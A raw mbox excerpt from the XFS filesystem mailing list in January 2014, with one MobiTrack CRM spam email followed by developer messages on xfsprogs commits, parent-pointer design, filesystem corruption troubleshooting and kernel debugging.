Domain - mobitrackindia.com X-Get-Message-Sender-Via: slmp-550-30.slc.westdc.net: authenticated_id: mobipat3/from_h X-Source: X-Source-Args: /usr/sbin/proxyexec -q -d -s /var/run/proxyexec/cagefs.sock/socket /bin/cagefs.server X-Source-Dir: mobitrackindia.com:/public_html/admin/admin/cron X-Barracuda-Connect: slmp-550-30.slc.westdc.net[174.127.106.57] X-Barracuda-Start-Time: 1390827704 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.89 X-Barracuda-Spam-Status: No, SCORE=1.89 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_HTTP_MISMATCH, DATE_IN_PAST_03_06, DATE_IN_PAST_03_06_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144527 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_HTTP_MISMATCH BODY: Custom Phishing Mismatch 0.01 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 1.08 DATE_IN_PAST_03_06_2 DATE_IN_PAST_03_06_2 --b1_ce4629cbc0ffd568b2745e736b658dc2 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Your email client cannot read this email. To view it online, please go here: http://www.mobitrackindia.com/admin/display.php?M=59240&C=ba20f0db0433c36f1bd329d32b9f9200&S=10&L=11&N=9 To stop receiving these emails:http://www.mobitrackindia.com/admin/unsubscribe.php?M=59240&C=ba20f0db0433c36f1bd329d32b9f9200&L=11&N=10 --b1_ce4629cbc0ffd568b2745e736b658dc2 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit <html><head></head><body><p><font face="tahoma, arial, helvetica, sans-serif" size="2" color="#ff0000">Hi,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></p> <p><font face="tahoma, arial, helvetica, sans-serif" size="2" color="#ff0000">Greetings !<br /> <br /></font></p> <p><font color="#ff0000" size="2">Mobile CRM on Microsoft Dynamic CRM available on Online, Hosted and on Premises on Android Now.<br /><br />We will complete soon for Android Tablets and Ipad tablets within 15 days from now.<br /><br /></font></p> <p><font color="#ff0000" size="2">Mobile CRM on Microsoft Dynamics CRM and SalesForce.com is now available with customized solutions.<br /></font></p> <ol> <li><font color="#ff0000">Defining business units, teams, security roles etc. for different users, organizations within the enterprise. </font></li> <li><font color="#ff0000">Developing own add-ins using the Software Development Kit (SDK) to extend the functionality. </font></li> <li><font color="#ff0000">Implementing new workflows or customizing existing ones.</font></li> <li><font color="#ff0000">Defining new forms, views, custom entities, custom attributes, relationships and mapping between entities.&nbsp;</font></li> </ol> <p><span style="font-size: small; font-weight: bold;"><br />For Demo on Android Phone</span></p> <p><strong><font size="2"><a href="http://www.mobitrackindia.com/admin/link.php?M=59240&N=10&L=13&F=H">http://www.mobitrack.in/MSCRMDemo.html</a>&nbsp;</font></strong></p> <p><font size="2"><strong>or For Microsoft Dynamic Online CRM Android Demo<br /><a href="http://www.mobitrackindia.com/admin/link.php?M=59240&N=10&L=12&F=H">http://www.mobitrack.in/MSCRMDemo/MobileCRM_MobiTrack_MSONLINE_AD_183.apk</a>&nbsp;<br /><br />For Android FAQ<br /><a href="http://www.mobitrackindia.com/admin/link.php?M=59240&N=10&L=11&F=H">http://www.mobitrack.in/mscrmandroidfaq.html</a>&nbsp;</strong></font></p> <font size="2" color="#ff0000"><strong>Now available at USD 85 only for early booking on one time license basis.<br /><br />Mobile Location Tracking<br />WorkForce Management System</strong><br /> <strong>Sales Force location Management</strong><br /> <strong>Activity Tracking System by phone </strong><br /> <strong>Mobile and Web Based Application&nbsp;<br />&nbsp;<br />&nbsp;<a href="http://www.mobitrackindia.com/admin/link.php?M=59240&N=10&L=4&F=H">www.mobitrack.in</a> <p><strong>Customize mobile apps on Blackberry, Android, Windows Mobile, Symbian Mobiles and Java mobile Phones.&nbsp;</strong></p> <strong><br /> <strong>For further information kindly check <a href="http://www.mobitrackindia.com/admin/link.php?M=59240&N=10&L=4&F=H">www.mobitrack.in</a>,&nbsp;</strong></strong></strong></font><strong><strong><font size="2"> </font> <p style="display: inline !important;"><strong><font color="#ff0000"><font size="2">for any assistance, please Do contact us on &nbsp;+91-9886892846 or +91-080-40966782.<br /><br /><strong>Regards,</strong><strong><br /> <strong>Manoj Patel | MobiTrack&nbsp; | </strong></strong><a href="http://www.mobitrackindia.com/admin/link.php?M=59240&N=10&L=4&F=H" moz-do-not-send="true"><strong>www.mobitrack.in</strong></a><strong> </strong><strong><u>| </u></strong><a href="mailto:info@mobitrack.in" moz-do-not-send="true"><strong>info@mobitrack.in</strong></a><strong> | skype : MobiTrack &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong><strong><br /> <strong>India | Cellular : +91-9886892846,&nbsp; Tel : 080-40966782.&nbsp; Bangalore| 24 x 7 </strong></strong></font><br /></font> <br /><font size="1">&nbsp;<a href="http://www.mobitrackindia.com/admin/unsubscribe.php?M=59240&C=ba20f0db0433c36f1bd329d32b9f9200&L=11&N=10">Unsubscribe me from this list</a></font></strong></p> </strong></strong><br/> <br> <img src="http://www.mobitrackindia.com/admin/open.php?M=59240&L=11&N=10&F=H&image=.jpg" height="1" width="10"></body></html> --b1_ce4629cbc0ffd568b2745e736b658dc2-- From rjohnston@sgi.com Mon Jan 27 12:46:45 2014 Return-Path: <rjohnston@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DB3747F62 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 12:46:45 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 55D21304032; Mon, 27 Jan 2014 10:46:42 -0800 (PST) Received: from [128.162.233.55] (128.162.233.55) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 27 Jan 2014 12:46:41 -0600 Message-ID: <52E6A9A2.1010905@sgi.com> Date: Mon, 27 Jan 2014 12:46:58 -0600 From: Rich Johnston <rjohnston@sgi.com> User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= <arekm@maven.pl>, <xfs@oss.sgi.com> Subject: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> In-Reply-To: <201401201822.48520.arekm@maven.pl> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [128.162.233.55] Arkadiusz, Thanks for compiling the list. The for-3.1.12 Branch created from "a547280... 3.1.11 release" If there are others you want committed, please let me know. Thanks --Rich The following have been committed from the candidate list provided by Arkadiusz: 40c65a7... xfs_metadump: Make -F (force) optional ec3a1f1... xfs_repair: suggest reboot after dangerous repair 8660952... xfsprogs: suggest "-d" option for repair of RO mount 5a8206c... xfs_repair: correct docs for "-t" units 0d5c444... xfs_fsr: fix SWAPEXT failures under selinux f3d3dae... libxfs: fix root inode handling inconsistencies cf507b6... xfsprogs: remove xfs_check references from fsck.xfs script & manpage 6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() ecde3f9... xfs_repair: test for bad level in dir2 node d299df7... xfs_repair: avoid segfault if reporting progress early in repair e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 5e1c7ac... xfsprogs: handle symlinks etc in fs_table_initialise_mounts() aba6204... xfsprogs: fix return value of verify_set_primary_sb() a2ea195... xfsprogs: fix potential memory leak in verify_set_primary_sb() 3e53939... xfsprogs: fix potential memory leak in repare/sb.c 820b8c2... xfsprogs: avoid array overflow in pf_batch_read() 2a1dcdb... xfs_repair: zero out unused parts of superblocks 982508b... xfsprogs: fix inode crash in xfs_repair b8890d7... xfsprogs: fix unint var in repair phase6 7d710b9... xfsprogs: fix agcnts leak in xfs_repair's scan_ags 291c159... xfsprogs:free bp in xlog_find_tail() error path 40b9d95... xfsprogs: free bp in xlog_find_zeroed() error path a9b4757... xfsprogs: fix buffer leak in xlog_print_find_oldest 32aae5b... xfsprogs: avoid double-free in xfs_attr_node_addname 243cf82... mkfs.xfs: fix protofile name create block reservation b31a23d... xfs_metadump: manpage fix regarding frozen fs f8b80a3... xfs_fsr: file reads should be O_DIRECT The following commits were not applicable. e7c05095, e6efb967 6aa3d87b From tinguely@sgi.com Mon Jan 27 13:41:49 2014 Return-Path: <tinguely@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9A58A7F66 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 13:41:49 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5FFE8304032; Mon, 27 Jan 2014 11:41:46 -0800 (PST) Message-ID: <52E6B67B.6070001@sgi.com> Date: Mon, 27 Jan 2014 13:41:47 -0600 From: Mark Tinguely <tinguely@sgi.com> User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com> CC: xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> <52D99FD2.6000601@sgi.com> <20140118031247.GE18112@dastard> In-Reply-To: <20140118031247.GE18112@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 01/17/14 21:12, Dave Chinner wrote: <massive delete we can go over it point by point if necessary, but let us start here>. 1) Yep, the parent inode generation number is needed. I thought I said it was, bad on me if I did not. It was an RFC and I was too lazy to go back and add it in. 2) Add the filename to EA. Not a fan, but I will ask but if DMF needs it for performance then it has to be done. My point was this assumes that we can keep all the links' EA entries inline in the inode. A couple 255 character files or several links of modest sized filenames would negate that assumption. I tried to minimize the EA entries to keep them inline in the inode. I will talk to the DMF group. 3) There is a unlink/link race because the directory and EA changes are done without a common lock. I hit this in testing. Assume the sequence was something like *: ln a filename1 (EA saved to inode) rm filename1 ln a filename1 (EA not saved because it is a duplicate) (rm EA operation happens and removes the only PIP entry) .... rm filename1 (no EA entry error) * My speculation from counters and my testing. i) Why not add the lock to keep the directory/EA changes in sync? ii) 2009 code required duplicate EA entries to compensate. A) Required a counter/inode to make every link unique. Granted this counter could be in a inode field. B) Required a EA walk to find one of the duplicates entries for the remove. i) Mark no likey, much bitching and moaning... C) More below. > Mark, don't get me wrong - the 2009 patchset is not perfect and it's > not finished and it simply reflects what we knew at the time. When I > refer to that patch, I'm comparing the architecture and design of > the different parent pointer approaches, not the implementation. > The design has to be sound before I care about the implementation > and quality of the code. If we can't agree on basic architecture > and design points, then we are most definitely not going to agree on > the implementation. > > Right now, the design of the proposed patchset does not address > the critical problem of identifier uniqueness and ignores the > bulk-lookup performance requirements that we know about. Addressing > those are going to require a change of on-disk attribute format in > that patch set and that invalidates the in-inode-core optimisations > that have been made. IOWs, we need to solve the problem first, then > optimise. > > So, what do we need in the parent pointer attribute to solve all the > known problems? The implementation will flow cleanly from what we > can store on disk, and we know that we need at least these things to > solve all the known issues: > > * parent inode number and generation (unique identifier) agreed > * link disambiguation (unlink/link race detection) why allow a unlink/link race? > * filename (for bulk lookup performance) > > So the question is how to implement the link disambiguation > efficiently. That is currently implemented in the 2009 patchset with > a the monotonic increasing counter that is appended to the attribute > name. Do we even need a generation count, or is there some other > info we can use that uniquely identifies a dirent? > > While the diroffset of a filename is not unique enough to identify > the child, I think the {diroffset,filename,child_inode} tuple is > sufficient. That is, if the diroffset gets reused and points to a > different filename, we can detect that from the contents of EA and > abort. If a link of the same name is created, then we can check > whether it points at the same inode. If it does, then we just don't > care that there was a race because our current pointer is still > valid. And we don't need to store the child inode number in the EA - > we already have that in the child struct xfs_inode structure. That > verification can even be done in userspace. > > Hence I think we've already got all the info we need if we make a > hybrid format from the two approaches: > > name=parent_inode,gen,diroffset value=filename > > The inode/gen gives all the information we need to reliably identify > the parent without requiring child->parent lock ordering, and allows > userspace to do pathname component level reconstruction without the > kernel ever needing to verify the parent itself as part of ioctl > calls. > > And finally, by using the diroffset in the EA name, we have a method of > knowing the exact parent pointer EA we need to modify/remove in > rename/unlink without an unbound searching. > > I think that solves all the architectural issues that we know > about with both implemenations. > > Cheers, > > Dave. Thinking out loud: EA names have to be unique. A link/unlink/link EA sequence would have to do a EA RENAME (overwrite the duplicate EA with new name). Have to do either: Do a EA lookup and compare before remove. or Add a new EA command that removes a name/value pair. Not sure if this would work on more than one unlink/link race and seems like this would still not work if filename of the 2 links are the same. Leaving a known race makes me a bit queezy. My internal version uses locks, but I were clear that you did not like the locks and so they were not included in the RFC. ---- small hypothetical digression ---- If we could use the inode fields for a PIP entry (no filename in the EA requirement), Olaf Weber came up with a clever PIP entry EA swizzle that would leave all the PIP inserts/deletes to be done to the incore inode fields at the same time as the directory operation. It requires the offset(s) be looked up before the directory insert/deletes. Pretty much academic if we cannot use in the inode fields. --Mark. From david@fromorbit.com Mon Jan 27 17:14:17 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C9F77F6A for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 17:14:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 39BCB8F8035 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 15:14:14 -0800 (PST) X-ASG-Debug-ID: 1390864451-04cbb05baa1726f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id lzlGriCB933tKnAU for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 15:14:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicKAFfn5lJ5LGaB/2dsb2JhbABagwy4GoVQgRoXdIIlAQEBAwE6HCMFCwgDGAklDwUlAyETh30HxxkXFo53B4MkgRQEmCaKT4dQg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Jan 2014 09:43:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W7vNF-0007ZF-Mw; Tue, 28 Jan 2014 10:13:49 +1100 Date: Tue, 28 Jan 2014 10:13:49 +1100 From: Dave Chinner <david@fromorbit.com> To: Dmitriy Yu Leonov <DLeonov@beeline.ru> Cc: xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: fs_is_ok, file: fs/xfs/xfs_alloc.c, line: 1590 Message-ID: <20140127231349.GE2212@dastard> X-ASG-Orig-Subj: Re: XFS: Assertion failed: fs_is_ok, file: fs/xfs/xfs_alloc.c, line: 1590 References: <OF435D1285.DABE6E9A-ON44257C6D.002777BA-44257C6D.00279370@beeline.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <OF435D1285.DABE6E9A-ON44257C6D.002777BA-44257C6D.00279370@beeline.ru> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1390864451 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144542 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 27, 2014 at 11:12:15AM +0400, Dmitriy Yu Leonov wrote: > > Hello, dear developers > > Faced with the problem of using XFS. I'm use the XFS file system on > the server without problems three years. Recently discovered that the > disk (raid-array) with XFS is not available. > > The logs raid controller appeared: 2014-01-24 07:12:34 H/W Monitor Raid > Powered On So something went wrong with the HW RAID, and then you found errors in the filesystem? > When I restart the server, I found that the raid array is not mount on > the mount point /dev/sdb1 (filesystem XFS). It failed to mount with the stack trace that you attached? If so, there's a corrupt freespace tree in the filesystem. > When I run the utility xfs_repair -P /dev/sdb1 it hangs. When I run > mount /dev/sdb1 not issued any errors and application also hangs. > Task's cannot finish even the command kill -9 <pid>. First of all, I'd suggest updating to at least version 3.1.11 of xfsprogs. If it still hangs, then it's quite likely there something still wrong with your HW RAID. Your first step is to make sure your HW RAID is healthy before trying to repair or mount the filesystem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Jan 27 17:24:35 2014 Return-Path: <bpm@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D33D27F6C for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 17:24:35 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id A7DC28F8039; Mon, 27 Jan 2014 15:24:35 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 861E34266DC; Mon, 27 Jan 2014 17:24:35 -0600 (CST) Date: Mon, 27 Jan 2014 17:24:35 -0600 From: Ben Myers <bpm@sgi.com> To: Brian Foster <bfoster@redhat.com> Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: use tr_qm_dqalloc log reservation for dquot alloc Message-ID: <20140127232435.GN1935@sgi.com> References: <1390228140-49211-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390228140-49211-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Jan 20, 2014 at 09:29:00AM -0500, Brian Foster wrote: > The dquot allocation path in xfs_qm_dqread() currently uses the > attribute set log reservation, which appears to be incorrect. We > have reports of transaction reservation overruns with the current > code. E.g., a repeated run of xfstests test generic/270 on a 512b > block size fs occassionally produces the following in dmesg: > > XFS (sdN): xlog_write: reservation summary: > trans type = QM_DQALLOC (30) > unit res = 7080 bytes > current res = -632 bytes > total reg = 0 bytes (o/flow = 0 bytes) > ophdrs = 0 (ophdr space = 0 bytes) > ophdr + reg = 0 bytes > num regions = 0 > > XFS (sdN): xlog_write: reservation ran out. Need to up reservation > > The dquot allocation case should consist of a write reservation > (i.e., we are allocating a range of the internal quota file) plus > the size of the actual dquots. We already have a log reservation > definition for this operation (tr_qm_dqalloc). Use it in > xfs_qm_dqread() and update the log reservation calculation function > to use the write res. calculation function rather than reading the > assumed to be pre-calculated value directly. > > Signed-off-by: Brian Foster <bfoster@redhat.com> Looks good to me as well. Reviewed-by: Ben Myers <bpm@sgi.com> From david@fromorbit.com Mon Jan 27 17:30:44 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 415327F6C for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 17:30:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 16AE38F804B for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 15:30:43 -0800 (PST) X-ASG-Debug-ID: 1390865441-04cb6c31f51214c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id uP8ORHJ3RRalJCmx for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 15:30:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicKAN7q5lJ5LGaB/2dsb2JhbABagwy4GoVQgRoXdIIlAQEBBCcTHCMQCAMYCSUPBSUDIROIBMcMFxaOdweDJIEUBIhbj0uSH4NBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Jan 2014 10:00:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W7vdX-0007b2-4H; Tue, 28 Jan 2014 10:30:39 +1100 Date: Tue, 28 Jan 2014 10:30:39 +1100 From: Dave Chinner <david@fromorbit.com> To: "Michael L. Semon" <mlsemon35@gmail.com> Cc: xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken Message-ID: <20140127233039.GF2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> <52E62ADA.2040800@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E62ADA.2040800@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1390865441 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144542 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Mon, Jan 27, 2014 at 04:46:02AM -0500, Michael L. Semon wrote: > root@plbearer:~# ls $TEST_DIR/ > > [ 94.140207] XFS: Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 > > Entering kdb (current=0xc5298c30, pid 297) Oops: (null) > due to oops @ 0x791752c5 > CPU: 0 PID: 297 Comm: ls Not tainted 3.13.0+ #1 > Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 > task: c5298c30 ti: c520e000 task.ti: c520e000 > EIP: 0060:[<791752c5>] EFLAGS: 00010286 CPU: 0 > EIP is at assfail+0x2b/0x2d > EAX: 00000071 EBX: c60ba600 ECX: 00000296 EDX: c5299098 > ESI: c60ba61c EDI: c60ba600 EBP: c520fe40 ESP: c520fe2c > DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 > CR0: 80050033 CR2: 08f1612c CR3: 4d1f0000 CR4: 000007d0 > Stack: > 00000000 79570bc8 79576e28 7956946d 00000031 c520fe70 791ce45f c520fe70 > 7917ceb0 c520fec4 c50d5068 c520fe70 c55d8000 00000000 c50d5068 c607ae30 > c60ba600 c520fed4 791cb72b c607af80 c6c01e80 000000d8 c4294000 c520feec > Call Trace: > [<791ce45f>] xfs_inode_item_format+0x4a/0x1c5 It's not clear to me that there's anything wrong with the inode log item structure, so I need to know what iovec we tripped over here. Can you post the disassembly of this function so we can see which call to xlog_prepare_iovec tripped the assert? i.e.: gdb> disass xfs_inode_item_format to give the raw disassembly output, and gdb> disass /m xfs_inode_item_format To output the c-code annotated version. Or even just annotating the code with printk()s prior to each xlog_prepare_iovec() call in xfs_inode_item_format will do ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Mon Jan 27 19:41:09 2014 Return-Path: <fdmanana@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 418167F72 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:41:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1FA068F8035 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 17:41:06 -0800 (PST) X-ASG-Debug-ID: 1390873263-04cbb05baa179ab0001-NocioJ Received: from mail-wg0-f52.google.com (mail-wg0-f52.google.com [74.125.82.52]) by cuda.sgi.com with ESMTP id YO68RHcp6Bd7KH7O (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 17:41:04 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.52 Received: by mail-wg0-f52.google.com with SMTP id b13so6697554wgh.19 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 17:41:03 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; 